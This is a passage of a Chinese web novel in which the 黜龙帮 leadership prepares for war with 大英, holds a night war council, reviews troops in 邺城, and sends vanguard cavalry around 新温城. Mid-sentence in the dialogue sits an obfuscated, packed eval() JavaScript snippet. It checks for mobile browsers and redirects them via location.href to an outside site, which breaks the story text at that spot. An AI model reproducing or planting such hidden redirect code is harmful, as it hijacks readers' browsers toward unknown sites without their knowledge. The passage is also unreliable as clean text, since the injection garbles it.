“其实这也不算什么,白三娘和李四郎方面之任后回大行台,而大行台的几位到时候换出去,这样就不会有这个麻烦了。”张长宣反驳了半句。 “临阵换帅吗?”牛方盛嗤笑。 “咱们说的不就是现在嘛,说到底是他张首席的布置还没妥当,现在是有大破绽的……只是他到底年轻,有足够时间再去修补罢了。”窦僚也举杯插嘴道。 “非只是这两人,黜龙帮内里也有乱象……”李枢笑道。“河北跟河南,河南又分成徐大郎的中枢派跟单大郎的地方派,河北又分成窦立德的义军派跟陈斌的降人派……说白了,这也是白三娘与李四郎不能融入的另一个缘故,因为去掉这些个关陇来的贵族子弟,剩下的人本是关东的乌合之众。” “关东也是有豪杰的。”一直没说话的薛万平忽然开口。“不然家父算什么?” “都说了,这是因为张行把这些豪杰捏合成一体了,若他不在,这些人自己就要散的散,斗的斗……李公是这个意思吗?”牛方盛用酒杯遮住半张脸来问。 “是。”李枢轻轻点头。 “到时候说吧!”司马正幽幽叹道。“谁也不知道战阵上的事情……不过,我既到了大宗师,又已经立塔,无论是白公还是张三郎,总有机会的。” 众**惊,继而各自相觑。 半晌,还是薛万论小心来言:“元帅,你既以宗师身份立塔,足以应对,何必非……非要大宗师?” 原来,事情过于匪夷所思,众人竟是有不少人怀疑这位在撒谎。 “你们以为我是在虚言夸大?”司马正环顾四下,不由失笑。“没有哄骗你们,我如今已经是大宗师……只不过,这并非全然是好事罢了。” 众人这才相信,然后既喜且忧……很显然,他们又误会了,只以为对方是用了什么伤及根本的法子强行提升了境界。 但无所谓了。 战争即将开始,拿起武器,反抗命运,如是而已。 双月下落,日头升起,新的一天到来了,邺城这里依旧对战争的具体信息一无所知,但这不耽误整个城市陷入到一种奇怪的状态——所有人都在忙碌,都在为即将到来的战争做准备,但真正的最后的动员一直没有展开。 就好像是不停接收热量的一壶水一样,还没有沸腾,可已经开始翻滚了。 而此时不停散发热量的地方正是吞风台。 且说,吞风台挨着漳水,在行宫的还西面,之前就是河北政权建设的军事宫殿群,到了东齐时代一共有三个,并称临漳三台,只是在大魏时期被专门废弃了而已,黜龙帮接手后开始修复,但目前只有一个最中间的高台算是修复完成,有了完整的建筑体系,加上黜龙帮之前刚刚黜落了吞风君,这才改名为吞风台。 吞风台原本遗址上就有高十余丈的夯土台基,在踏白骑的努力下进一步增高、扩展,如今是一个高十五丈,南北约一百五十步,东西百余步的庞大台地,几乎相当于一个小城。 台上面的核心建筑是一个可以容纳数百人的长方形大殿,两侧夹厢,再往外的两侧还各有一个可以展开几十人会议的圆形大堂,此外,沿着台地没有大堂的两侧还有两排连廊公房,分别隶属于文书部、军务部。 这些还只是台地上的建筑,台下的后勤设施更是密密麻麻。 到了九月十七这一天的中午,一件堪称离奇的事情出现了,吞风台的三个下坡出入口出现了堵塞! “他们说的对,下一个台地要专门储存文档。”魏玄定满头大汗,远远见到正在埋头签署文书的张行便来诉苦。“否则哪里装得下这么纸张?首席知道吗,刚刚曹总管与我说,纸都不够了,需要临时去市面上采买!河北这么多地方造纸,咱们帮里自己都有许多纸坊,如今竟然缺纸,简直滑天下之大稽!” 张行头都不抬,不紧不慢道:“一旦开战,踏白骑出征,这种夯土大台怕是起不来吧?而若夺了东都,还需不需要在此地继续修剩下两台也难说……至于说纸,纸不够是好事,说明大行台对地方的控制更加细密,有什么好滑稽的?” 魏玄定没有继续这些无稽话题,走到跟前,将一摞纸交了过来:“张总管他们拟定了今年的进士排名,今年人多,所以只三选一……我与陈总管他们依次看过来,请你做最后的排序。” 张行接过来,翻看了一下,认真询问:“谁都改了谁的排名?” “这次没什么大的变动,主要是两个人……李义署、刘仁辙,两人都挺出色,陈总管看中了李义署河北官宦子弟的身份,想点他做机要文书,徐总管看中了刘仁辙颍川的出身,想点他做自己的机要参军。”魏玄定认真道。 “那就各自归各自,互相不耽误吧?” “确实,但要首席点个首位……”魏玄定催促道。 张行无语至极,想了一想,去看名单,发现第三名是个姓崔的,便来询问:“这个崔敦仪是哪家的,清河还是博陵?” “博陵的。”魏玄定立即做答。“他父亲跟我当年一起在王公门下读书修行的……这一次他父亲还是没来,他倒是来了,文章四平八稳,为人也是如此,像极了他父亲年轻时。” “那就这个吧。”张行直接在第三名上面画了个圈。“不能因为人家是世族子弟就歧视人家,咱们黜龙帮有容乃大。” 魏玄定心中无语,却也只好点头,然后等对方又看了一遍名单递回来后就匆匆离开。 张行也继续一头扎入之前的文书堆里。 没办法,这就是战争来临前的必然,真要是开打了,其实也没这么多文档了,可这不是没开打吗?所以张行必须审议王翼部的多种方案,跟上百个头领进行直接沟通,或者安抚或者鼓励对方,更不要说还有粮草、军衣、牲畜这些后勤问题。 到了第二日,整个邺城进一步升温,因为军队开始汇集了。 张行等人也进一步忙碌起来,他们全都下了军队去视察,包括新一批进士,倒也几乎全都被配发到了各军,并担任了一个简单粗暴的职务——各营文书副官。 这件事是有争论的,因为有人提出不能排除这些新科进士间谍的嫌疑,但张行最终还是决定下放这批进士……因为一个间谍,需要先以三选一的比例考上黜龙帮的进士,然后用黜龙帮可能的光明前程,最终却换来一个营的大致动向,还不知道能不能联络上……这也太亏了! 徐世英等人也同意,真要是有间谍,怕是也要看战争动向,战争大胜大负自不必说,便是相持消耗,这间谍怕也要潜伏到底,看能不能继续混到登堂**的地步,可真要是混到登堂**的身份,谁还当个间谍? 然而,话虽如此,一直到九月廿日,战争都还是没有传来确切的消息,偏偏哨骑回报不断,一连数日东都都在撤离河内吏民,检修河阳三城,这几乎明示且符合预期的出兵方向更加让人心烦意乱。 不过,也仅仅如此了,这日夜间,数不清的哨骑自河内、汲郡方向涌来,很快武安行台方向也有哨骑呼应,消息很确切,白横秋动了! 就在这一日傍晚,大英皇帝亲率大军出王屋山,过轵关,入河内,明日便可扑河阳城。 兵力数量目前不详,但号称二十万,早有准备的黜龙帮哨骑在几乎整个河内都遇到了大英的哨骑和之前不愿意撤离此时慌乱离家的河内流民。 得到消息后,黜龙帮最高层本来都准备去吞风台的,却在吞风台下被秦宝带领的人拦住,要求几位龙头立即转向张行住处观风院,至于其余人则各自回去休息,不得扩散军情。 众人自然醒悟,白横秋无论如何不能靠着半夜的时间打到邺城,前线部队也已经进入战备状态,这个时候弄得乱糟糟只会引发人心**,便纷纷依言而行。 说是龙头,便只有雄伯南、魏玄定、陈斌、徐世英、柴孝和五人而已,他们复又依次赶到观风院,上了那栋观风小楼,果然在上面的亭子里见到了一身便装的张行——此时,其余五人,居然人人戎装,除了雄伯南外更是人人佩剑。 佩剑的风气是张行那一次赐剑后形成的。 见到五人都团团坐下,张行先告知了一件意料之中的事情:“我已经下令封锁外城、内城、宫城、临漳三台,所有人静待天明,不要闹出动静,引发城内**,只咱们六人先定大略。” 众人纷纷颔首,魏玄定更是赞同:“确实如此,邺城人口众多,商人尤其多,外围矮郭却遮蔽不足,一旦惊惶起来有人逃窜,怕是会闹出大笑话。” 张行点头,旋即再言:“我这里有几个战时安排,你们有话吗?赶紧说,不要迟疑。” 五人面面相觑,徐世英先扶着膝盖来问:“那按计划,明日从东城大校场阅兵出发?” “对。”张行立即点头。 “先出三十个营?”徐世英继续来问。“邺城这里当日午前发十个营?” “对。” “够吗?”陈斌忽然插嘴。“白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168036|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横秋号称二十万……” “二十万兵力大英肯定是有的,但河内这片地方,又从轵关过来,河阳城不破,他最多能发十万,甚至六七万兵了不得了。”认真解释的竟然是柴孝和。“实际上,咱们这三十个营也不是没后续的,算上河南二十个营,以及南北四十个后备营支撑,兵力怎么都足够了……” “没错,真打起来,前线要害能展开五六万人了不得了。”张行也补充道。“之前定的这个方略是深思熟虑的,那边号称二十万不会变动什么大局。” 陈斌这才点头,但还是有些不安。 “不怪陈总管,陈总管也是军中浸淫日久的,如何不晓得军事?”魏玄定肃然道。“只是邺城就在这里……不把兵马摆到邺城前面,总觉得不安。” “那我直说了。”张行毫不迟疑应道。“首先这个军事布置不至于影响到邺城,而且从战略上来说,白横秋根本上还是要取东都,不大可能越过东都来夺邺城。而真到了那一步,我们也会尽量保邺城。只不过邺城到底只是一个城,这种大战打的是人,所以万一有什么不慎,那邺城反而不足为重,咱们可以用两三年把邺城建成这样,自然能再建一回!” 魏玄定抿着嘴,欲言又止。 “邺城肯定是要尽量保的。”雄伯南见状终于出声。“因为邺城到底是咱们的首都,不可能轻易弃下,首席也只是说的极端……魏公,真到了必要的时候,我自然会以吞风台立塔。” “天王还是尽量在前线施展吧。”魏玄定有些气虚般连连摆手。“道理我都懂,是我分不清轻重了。” 众人俱皆沉默。 张行等了一等,抬头看看还算半圆的双月,再来看身前几人:“所以,其实几位也没有什么言语了?” 几人还是沉默,毕竟嘛,之前那么多准备和预案,真要是临时再起什么主意反而奇怪。 “其实我也从没想过要弃邺城,刚刚诚如天王所言,是话到了极处。”张行见状笑道。“不然我也不会临时请你们做下面几个安排了……诸位,我有几件事情要趁着打仗才好做,一直忍到了现在。” 几人重新打起精神。 “第一件事情是铸币。”张行从怀里掏出来一个铜钱,随手掷到了一侧桌上。“长久以来,咱们一直是用大魏的钱,毕竟大魏留了这么多储备,也没道理不用……只不过,事到如今,咱们黜龙帮的地盘也稳固了,矿产也入手了,本该自家铸币,既是收利,也是让大明和黜龙帮深入人心的手段,但大魏的钱深入人心,若是平日里更换,说不得会出乱子。” 众人恍然,陈斌、魏玄定、柴孝和更是从张行说出第一个句话后忍不住拍了下大腿——这件事确实早该施行了,只是这半年被张行的修河和战事准备给耽误住了。 大家自然没有什么意见。 张行见状点点头,重申了一遍自己的态度:“要慢慢来,借着军需军务展开新钱的使用,从后方到前方,从军需到民用,备好足够的旧钱和军需,不必操之过急。” 话虽如此,陈魏柴三人只是忙不迭点头。 “第二件事是设立御史台。”张行继续来言,却让在座的五人齐齐怔住。 张行幽幽一叹:“咱们帮里看起来顺风顺水,其实是靠着之前不停的战而胜之、扩而大之,以及大家相互扶持才立住,但往后不能这么一直指望着如此,得有规矩和手段……你们也晓得我这人素来的习惯,就喜欢趁势而为,省力气……所以想着现在打仗,就把严肃军纪和帮规的旗号打起来,帮务部、军务部、刑律部一起发力,把监督的条例和事情分开立起来,等战后就统一收归御史台。” 陈斌迟疑了片刻:“那靖安台如何?” “将来天下太平,靖安台是负责**内乱,监视帮外修行者、世族、帮派这些不稳定之处,此时也负责军情间谍;而御史台是监督帮内国中掌权者不法不德……本质上是说,刑律部是根本,但有些地方它们没法管、管不到,便设置这两处。”张行认真道。“当然,真有帮内人联结团伙,想要**,肯定是三家一起上,还要看规模让龙头会审。” “那就干吧!”停了半晌,雄伯南瓮声瓮气说了一句。“说实话,首席跟我们这些人活着的时候,怎么都行,但总要想着咱们没了,黜龙帮还要往下走的事情……不止是首席,之前窦龙头回来就说过这类事,好多兄弟都提过,有些人不说话心里也想着呢……按照首席的说法,便是不指望千秋万代,这事也总得去做。” “那就做吧!”陈斌忽然起身跺了下脚。“首席愿意做,我们又如何?但首席须答应我们,三年后约定时日到了,你一定要正经坐国主之位!” “这是自然。”张行起身应道。“决不食言。” 雄伯南等人也都起身,最后魏玄定也在众人注视下缓缓随之起身,却嗤笑道:“首席与陈总管这般说,我倒要提个条件。” “你说。”众人难免惊疑,倒是张行晓得对方脾气,反而失笑。 “邺城扩大后乌烟瘴气,之前禁绝的**一事渐渐又有泛滥,而且多是打着舞女、女乐,乃至于厨娘、女冠的旗号,我要借着军法整肃邺城!”魏玄定昂然道。 众人如释重负,甚至觉得有些滑稽。 倒是张行一如既往:“你可以连邯郸、黎阳一起整肃!” “好!”魏玄定点头。“那我无话可说了,开战吧!” 张行点头,复又摆手,示意几人离去,几人也真就离去休息。 翌日天亮,因为巡骑和信息被控制的缘故,邺城上下一开始还没有什么反应,但很快,随着上午时分,军士开始净街,黜龙帮大行台自上而下数不清的中高层蜂拥而出往东门去,布告也贴满了各处布告栏,便是再无知的人也知道了,大英侵略河内,大明将主动宣战,以求一统天下。 没错,布告里没有说什么要去援护东都,而是直截了当的告知所有人,天下纷争,大明既要自己争天下,还要阻止大英得天下。 上午时分,大校场外已经集结了当先要出发的十个营,正是王叔勇、刘黑榥、王雄诞、阚棱、夏侯宁远、丁盛映、梁嘉定、曹晨、韩二郎、贾闰士十营。 而无数邺城士民也早已经出城观望,只在大校场东侧与南北官道两侧汇集,按照布告说法,黜龙军将在阅兵之后直接开赴前线。 “马上要出动了,首席要不要说几句?”将台上,陈斌主动来问。 “那就说几句吧!”一身黑甲红披风的张行扶着腰中弯刀骑在黄骠马上,立即答应了下来,而下一句话便随着他的真气弥漫声震天际。“诸位兄弟,我便是黜龙帮的首席张行!现在有几句话与大家来说!” 声音裹着真气迅速响遍了整个大校场内外,但下方的嘈杂并没有直接停止。 “我与大行台上下,从来没有怀疑过大家是否善战,也从来没疑虑过大家是否敢战!可是大战到头,总得弄清楚一件事,那就是为什么而战吧?”张行没有理会下方的反应,而是如闲聊一般继续了下去。 “诸位兄弟,咱们一早贴到军营的布告大家都看了,没看的也肯肯定有人说给你们了,上面写的清楚,是要争天下,可为什么要争天下,不能守着河北、北地、东境、淮北来过太平日子吗?之前大半年不是过的挺痛快吗? “原因很简单,我们不争天下,天下就要为他人所得,比如说大英!那还是要问,若是大英得了天下又如何呢?到时候,你们这些龙头、头领做不了官,我们不还是能回家种地吗?不还是均田吗? “诸位兄弟,不是这样的,不是这样的!” 话音到此,借着真气翻动,竟如雷霆一般震耳欲聋,原本就被这种神奇的音量所震动的大校场内外此时更是鸦雀无声,人人警醒。 “我来告诉你们,大英得了天下会怎样!”张行言之凿凿,周围黜龙帮高层也都被完全吸引了注意力。“大英得了天下,他们会再拆了邺城!” 下方军中与周边民众中间轰然一片,因为这是有迹可循的实话,他们当然会再拆了邺城!而将台上的黜龙帮高层,包括下面一些知机的人,干脆有不少笑了出来……毕竟,他们还以为张首席会说出什么惊天动地的言语呢,相较于天下得失,拆个城算什么呢? “大英得了天下,邯郸的女家只能去做女乐!”张行继续来言,却有些缓缓之态了。“大英得了天下,你们想做官也只能去投奔那些关陇世族,去奉承他们中的纨绔,伏低做小,然后一辈子不得登堂**。” 这下子,那些聪明人笑不出来了。 “大英得了天下,你们筑了基的子女、兄弟姐妹,会被送到边地和关中老死不得归乡。 “大英得了天下,你们要再去修宫殿。 “大英得了天下,你们的赋税会如水一般流入他们的官仓,然后烂在里面,无人问津。”张行一句接一句,渐渐地,周边内外已经无人再议论发笑了。 反倒是张行,这个时候忽然轻佻的笑了一下,他抬手指了指东南方: “大英得了天下,诸位兄弟,连历山他们都要扒开的!” 下方军中阵列再度轰然。 “可是我们得了天下呢?我们会去把邙山扒了吗?”张行语调一转。“我告诉你们,不会!我们不会扒邙山,我们也不会歧视关陇人来做官,我们更不会让关陇的老百姓来邺城修宫殿,恰恰相反,我们会收敛他们的尸骨,会到关中给他们修水渠!会帮他们烧了高利债,禁绝**!还会把他们中的英才纳入帮中,一起治理天下! “诸位兄弟,咱们大明跟大英不是一回事,不是什么两家并争!他们不配!我们大明和黜龙帮就是比他们更强盛,更文明,更能合乎天道的一方! “诸位兄弟,我们争天下,其实不是去与他们做相争的,我们争天下,是跟自己争!只不过,总要把这些不识天命,不晓天道便觊觎天下的逆贼给铲除! “你们不是去简单打仗的,不是为了**争地去的,你们做的是天下一等一的功业!你们会给这个天下带来一个新的天道之世! “所以开拔吧!拿起兵戈,为我们自家争得天命!” 早已经准备了许久的王叔勇居然愣了数息,方才打马阔步向前,引导自己的一营兵出发,引得周围邺城民众猛地欢呼喊叫起来。 排在第二位的是刘黑榥,他目送着王叔勇这一营开拔,一直到自己出发,却依旧在周边邺城士民欢呼中浑浑噩噩……他从刚刚就浑浑噩噩了。 原因很简单,刘黑榥一直觉得自己是个聪明人,从争取所谓河北义军的军事编制,到带着自己新娘子去河堤上找张首席,他一直很清楚自己扮演的是什么角色……他不在乎,因为他一直很清楚自己在要什么,他就是个清河泼皮,就会打仗,就是要领兵打仗,他才能觉得浑身舒爽。 对此,当战争开启,当他如愿以偿以自己最理想的状态领着一个集群部队准备出发时,他是如此的佩服自己这大半年的运作。 他觉得一切都值了,他觉得那些笑话他的人才是可笑之人。 但是刚刚,听着张首席那些他以为自己只会表面上呼喊内里丝毫不在意的话语时,他发现自己还是被震动到了……不是王叔勇那些人所在意的什么历山也要扒,而是天下一等一的功业这句话! 自己要做的,竟是天下一等一的功业,而不是什么**争地吗? 刘黑榥走了许久,带着大军过了韩陵山,方才放下这个念头,将心思放在了军务之上。 PS:姬叉新书上架了!冲!干爆他!《山河祭》 第八十二章 风霜行(1) 九月下旬,大英、大明并发大军往河内。 河内郡在前唐时立,共十六县,到魏时曹彻分东八县为汲郡,剩余部分西八县依旧为河内郡,新河内呈长条梯状,两面靠山,一面临大河,只有东面畅通无阻,理论上属于河北平原伸入晋地的一个犄角,只不过,因为东都这个所谓天下天元的存在与重要性,河内实际上沦为了东都的附属,属于东都北面门户。 三年前,黜龙帮作为河北的控制者,主动交出了对东都意义非常的大半个河内郡,实际上,当日不战之约能够达成,这个条件举足轻重。 这个动作,也直接促成了东都对著名的河阳城跨河要塞进行了重建,并使得河内郡成为了三家势力交汇地。 而当战争真的爆发后,一些流言不由自主的就出现了……很多人说,这些都是张首席的算计。道理很简单,这个位置太方便黜龙军出动了,简直相当于内线作战。相对而言,关中却有明显的后勤压力,却很难放弃此处战场,因为在这里开战可以同时兼顾东都和邺城。 但也有人对此嗤之以鼻,因为反过来说,把这地方预设为战场,就相当于将邺城放在了前线位置,一旦前线失败,邺城就有倾覆之危,就邺城这几年的爆发性发展,谁舍得丢? 吞风台都修了好不好? 君不见,这刚开战,邺城的百姓刚刚欢呼过,第二天不少商贾就悄悄往河北腹地撤了,一些邺城人也将子女悄悄送到乡下。 甚至于大行台内部也有迁一半人回将陵的议论,反正那地方大家都待惯的,对此,魏玄定大发雷霆,直接签署了对应人员上前线的宣调文书,通过吏部转文书部再往军务部下达,当天就把人送走了。 没错,陈斌也只是愣了一下,就直接默默签字画押了,到了下午,徐世英也默不作声的把人发配了。 然而,就在后方还处于这种明显的战备状态和战前纠结心态中的时候,前线大军竟然已经接敌了。 就在大军出动的第二日,前锋抵达了新温城。 这里位于河内郡黜龙帮与东都势力交界处,因为需要遮护荥阳的缘故,河内最东段的临清关、延津并没有转让给东都,而是依然位于黜龙帮控制下,那么为了继续管控商道,同时也是河阳城防御体系的补充,东都便在沁水东侧、温县境内修筑了新温城以代替之前的临清关与延津。 效果也是显著的,河北与东都相安无事数年,河北商人一如既往自此穿梭,使得此地字面意义上的日进斗金。 “我老刘有件事放心里好几年,一直不明白。”刘黑榥看了看偏西的日头,复又去看身前的新温城,微微皱眉。“你们谁能告诉我,为啥新温这里收往来客商的税收的那么勤快,可临清关那里咱们就不收呢?是当年和约里的条文吗?” 当此局势,被此一问,上下都有些发懵。 然而有意思的是,还真有人答出来了,而且是个特别意外的人……曹晨懵了一会,忽然一拊掌:“我想起来了,这事听我妹子说过……不是条文,是两家的商务策略不同,咱们是只收牲畜车马朝上的大宗交易税,鼓励商贾流通,所以不收过路费;至于东都那里,一开始是循旧例,后来也想学咱们只收交易税,毕竟他们东都城在那里,更容易做这个,结果却因为东都现在地盘狭小,仓储里的东西都是糟透的玩意,军中需要新鲜物资鼓励士气,所以非但没有废除这个税务,反而改为过路抽实物,至于到了东都城里,反而可以拿着凭证不用再抽交易税了。” “原来如此。”刘黑榥不懂装懂的点点头,复又看了看曹晨,诚恳以对。“老曹,曹总管前途真真远大。” “那是自然。”曹晨昂然以对。 刘黑榥忽然在马上笑了出来:“你没懂我的意思……” “你什么意思?”曹晨一时不解。 “我问你一件事,咱们做个假设,若你家曹总管当日在高鸡泊没做婚姻,如今还未婚嫁,你还会舍得你妹子嫁给窦大哥么?”刘黑榥戏谑来问。 曹晨当即黑了脸:“刘泼皮!你今天哪来那么多鸟话?!” “这不是等烦了嘛。”刘黑榥嘿嘿一笑,复又瞥了眼日头。 就这样,众人又嬉笑了一阵子,虽嘴上说是等烦了,可新温城内竟也没有刻意拖延的意思,很快做出了回复——他们没有接到东都方向所谓援军的说法,东都与邺城也不是同盟,所以拒绝开城。 非但如此,如果黜龙军强行入城,他们将会奋起抵抗。 “动手吧!”曹晨想了一下,就在马上攥紧了马鞭。“咱们虽说都是骑营,但下马并肩子上,五六千精锐淹也淹死他们了!何况韩二郎的步营就在后面,王龙头的大军也在后面,一定能续上趟!” “不错。”夏侯宁远也咬牙表态。“我建议打!打了就是首功!” “我不想打。”出乎意料,向来最主战,此番也是主动争取到先锋位置的刘黑榥却微微蹙眉,弄出了一个意外的态度。 “你怕打不下?”夏侯宁远喘着粗气道。“刘大头领,我须提醒你,这城当道背河而立,是前方战场的门户,也是后勤的枢纽,不管这东都守将乐意不乐意,咱们都要拿下来的,躲不开。” “夏侯大头领说的对。”曹晨也有些焦躁。“老刘,咱们既做了先锋,就不能丢了份子……” “你们懂个甚!我是嫌功劳不够大!”刘黑榥冷笑道。“这城当然要拿下来,也能拿下来,可咱们三营骑兵跑这么快,一昼夜一百多里地,就是图个下马攻城吗?还是攻一个后方大军到来必定淹下的城?再说了,这城到底是新修的关城,城虽小,却深墙高垒,武备充裕,如今也不缺钱帛的,守将也是个凝丹,咱们三营骑兵下马攻城,并无器械准备,便是我与夏侯大头领两人腾进去杀了守将,也不耽误外面儿郎们平白死伤的。” 其余二人冷静下来,夏侯当先肃然:“那刘大头领的意思呢?” “绕过去就是,这又不是对岸龙囚关,过都过不去。”刘黑榥指着城后来言。“如今就是抢一个时间,若我们三营兵马今日能冲入汲郡腹地,明日前便在沁水对岸打一两仗,便能扰乱大英布置,使得咱们的大军铺陈进去,然后在河阳城要害跟前立足……那就是全局的功劳了。” 曹晨立即有些抓瞎了,本能去看夏侯宁远。 夏侯宁远勒马在原地转了一圈,看了下日头和身后军容,给出答复:“刘大头领说的对,咱们是骑兵,军务部让咱们做前锋可不让我们停下来攻城的,原定任务里‘尽量向前铺陈’也肯定不是说这里!咱们走!” “那咱们走,就当在这里歇一歇罢了,过沁水往西走,让韩二郎过来围城。”曹晨见到两位大头领一致,立即应声。 “派个人告知韩二郎,让后面的人来围城,他也不要管这里。”刘黑榥继续安排道。“让他顺着沁水这边往上游去做伸探,须防大英的人从上游渡河来包这里,也是隔着沁水与我们做呼应。” 剩余二人听刘黑榥安排的妥当,更加无话可说,所谓兵贵神速,便立即动身,五六千骑,直接越过了新温城,浩浩荡荡的就从沁水搭建浮桥渡河,竟是丝毫不管这般做相当于将自己这三个营的骑兵扔入号称二十万众的大英主力脚下。 见此形状,新温城上千余东都军士,外加几百税吏、民夫,个个振奋,然后不免交头接耳,觉得黜龙帮确实不愿意毁弃与东都的盟约,此番可以安全了。 等到这些骑兵渡了泰半,后一营步卒匆匆赶到,连河都不渡,竟直接弃了城顺着沁水往上游去,这种讨论就更是频繁了。 然而,城上军事主管、中郎将胡彦却面色铁青,作为资历的大魏中层官员,乱世后登堂**的典范,他比谁都清楚眼下的局势,黜龙帮既来参战,而且兵锋这么快,那这新温城就是必然要取下的……没错,问题的核心在于黜龙军真的来的太快了,快到改变了局势。 实际上,新温城内的严阵以待根本就是针对可能的西面来敌,而非东面,否则也不至于拆了沁水上那么多浮桥……只要黜龙军晚来,晚来一两天,那么等到大英的兵马先到,对新温城发起攻击,本地的军民稍作支撑,便可以以从容以共抗强敌的立场选择放弃这个战略飞地,然后从黜龙军的控制领地转延津回东都。 当然,现在想这些已经无用了,因为黜龙军已经到了,所以问题是该怎么办? “胡将军。”本地关城大使柴愈远远走来,表情动作原本还算轻松,但越靠近胡彦,就越被后者所影响,以至于凝重起来。“黜龙帮会放过咱们吗?” “不可能。”胡彦言辞干脆。“新温城对咱们来说是河阳外围防御的一个点,甚至马上变飞地,可对河北来说是进军的要害,必然要拿下的。” “那咱们趁现在弃城如何?”柴愈一愣,脑子却是转得快。“他们后面应该是步营多些,咱们弃了城往南拐,挨着大河走,连夜走……他们来的确实快,但也急,从前几个营便能看出来他们自己也不知道如何对我们,我们趁乱说不得能从延津渡河。” “难。”胡彦叹了口气。“城内攒了一秋的关税,这么多财帛货物,便是黜龙军军纪再严整,也要动心的,到时候他们扑上来,咱们在野地里更无幸理。” “胡叔。”柴愈低声换了个称呼。“我的意思是,咱们把钱货留在这里吧!” 胡彦瞪了这位自己昔日靖安台同僚之后一眼:“黜龙帮说翻脸就要翻脸,这岂不是资敌?” 柴愈明显诧异看了对方一眼,继续来讨论:“那就烧了如何?” “俱是民脂民膏……”胡彦依旧难以接受。“何况东都一直缺这些新鲜物资,现在被困,不知道多久能妥当,要是能送过去,就更值当了。” “可现在不是人为刀俎我为鱼肉吗?”柴愈愈发恳切。“胡叔,不能为了东西而废了人,再晚一些,一旦开了刀兵见了血,什么都没用了!” 胡彦沉默半晌,一直不答。 柴愈低头来问:“胡叔可是觉得咱们都是靖安台的根底,黜龙帮里的旧日同列能顾念旧情?可便是如此,人家如今家大业大,大军呼啦啦涌上来,怎么就能摊上一个东都故旧呢?而且说句难听的,如今敌我分列,凭什么就顾念旧情?” “不是顾念旧情,我如何能指望人家能念旧情,我说的是习性和脾气。”胡彦压住情绪努力解释。“小柴你不晓得,张三郎算是个讲究的,秦二郎是个义气的,钱唐是个规矩的……所以,真要是能等到这一拨人,乃至于陈斌、谢鸣鹤这些南陈人,咱们说不得就真能全乎的离开……至于这些河北人、东境人,个个出身草莽,委实没法相信。” 柴愈还是不甘心,继续来言:“那也不能一直等,人家说不得什么时候就攻城了……胡叔,咱们这样如何?现在先谨守,入夜开始准备,午夜前要是等不到能说话的人,就直接出发,摸黑逃走?财货只带东都急需的布帛与货物,金银铜钱都留下!” 胡彦想了一阵,也只能点头。 柴愈见状,不再计较,赶紧去忙碌了。 又过了半个时辰,黜龙军骑营全员渡河,然后扔下浮桥,继续西进,骑兵滚滚,在平原上气势非凡,却也很快就消失在了村庄树木之后……另一边,又一营黜龙军抵达,首领姓贾,引得城上一阵紧张,要是贾闰士,虽然不可信,但或许还能像刚刚那样沟通,可若是那位杀神贾越那就麻烦了。 但也不像,因为贾越的营头几乎人人都要配一柄斫人头的北地**。 就在新温城上上下下因为黜龙的极速进军而迟疑不定的时候,韩二郎及其部属因为刘黑榥几营需要渡河的缘故,意外的成为了最先头的部队。 到了日落之前,他们已经顺着河道又走了十数里,前锋哨骑几乎可以隔河望到沁水对岸的安昌县城。 “韩二……头领。”就在部队暂歇,决定在安昌县城视野外寻找立营之地的时候,已经是营中首位队将的王老五凑了过来。 “怎么?”立在小丘上观察形势的韩二郎放下按剑的手,回头来对。“老五有话说?” “俺……我,二哥,下面兄弟有议论。”王队将小心翼翼来言。 “怎么说?” “他们说都是清河人,刘大头领他们是义军,咱们是官军,他们一起渡河去了,我们来侧翼做掩护,跑这么远还危险……其实是,是受了刘大头领他们排挤。”王老五努力将自己获得的信息清楚转述出来。 韩二郎怔了一下,并没有着急反驳,而是认真来问:“这种流言多吗?” “挺多的。”王老五赶紧点头。 “是两日急行军太累了。”韩二郎想了一想,稍作推测。 “不止是太累,怕是还有些怯战。”王老五也想了一想,给出了补充。 “怯战?!”韩二郎大为震惊。 “是。”王老五稍作解释。“都说咱们突的太快了,两天下来这么累,还有人嘀咕一个步营这般深入前线……” “这算什么怯战?只还是在抱怨罢了。”韩二郎这才松了口气,但也肃然起来。“但也不能不管,你现在去准备,让大家不用等立营,先用一些干粮清水,但要有节制,然后把随军的文书叫到新兵最多的第八队去,我也去那里跟他们说清楚,然后让文书晚上回去劝劝。” 王老五本来准备再说些什么,可到底是憋了回去,老老实实遵循军令去了。 到此为止,一切风平浪静,盛秋时节的河北大地上,脚下是平原,北面是巍峨的大山,身侧是河流,没有比这更舒爽的天气和宜人的景色了。 实际上,一件出乎意料的事情是,随着休整开始,哪怕还没有立营,只是喝了些水吃了些干粮,部队的抱怨也很快得到了某种自然的舒缓,气氛也开始变得融洽。而即便如此,王老五忙完之后来到第八队的时候,发现文书们已经离开,可韩二郎依旧在这里一手拿着炒饼一手拎着水袋跟几十个新兵们闲聊。 “韩头领,俺问个事情……憋肚子里好久了。”一名稍微年长的军官见气氛融洽,忍不住插嘴来问。“你都做了头领,还得了首席的赐剑,娶媳妇都还是首席主婚的女官,不说前途远大,只现在也算登堂**的贵人了,咋还叫个韩二郎呢?不学人家起个新名字?” 韩二郎当即苦笑:“不瞒你们,确有人劝我改名,可我就是不敢,我怕改了名字就忘了本了……你们想想,那些改名的头领都是怎么回事?哪家不是亲眷族人一大串,有的干脆是带着整个庄子一起起事入帮建业的。如今他改了名字,换了衣裳,整个庄子都一起变得名望起来。可我呢?我家中本就是清河破落户,亲人如今一个也无,也就是往日认识的一些乡亲还在乡里耕作,你们说,我若是再改了名字,端起官人的架子,那跟**再换个人有什么两样?” 周围围着的人里十之**不解,但少数明白的一欷歔起来,自然是一起欷歔。 韩二郎见状无奈,只好指着刚来的王老五打趣:“你们若是计较这个,王五哥才是最该改名的,他却总是不改,也不听劝,头领们都不好喊他的……” 众人愣了一下,然后旋即醒悟,一起哄笑起来。 无他,谁让帮里有一位更出名的王五郎呢?甚至还是大家正经的最顶头上司。 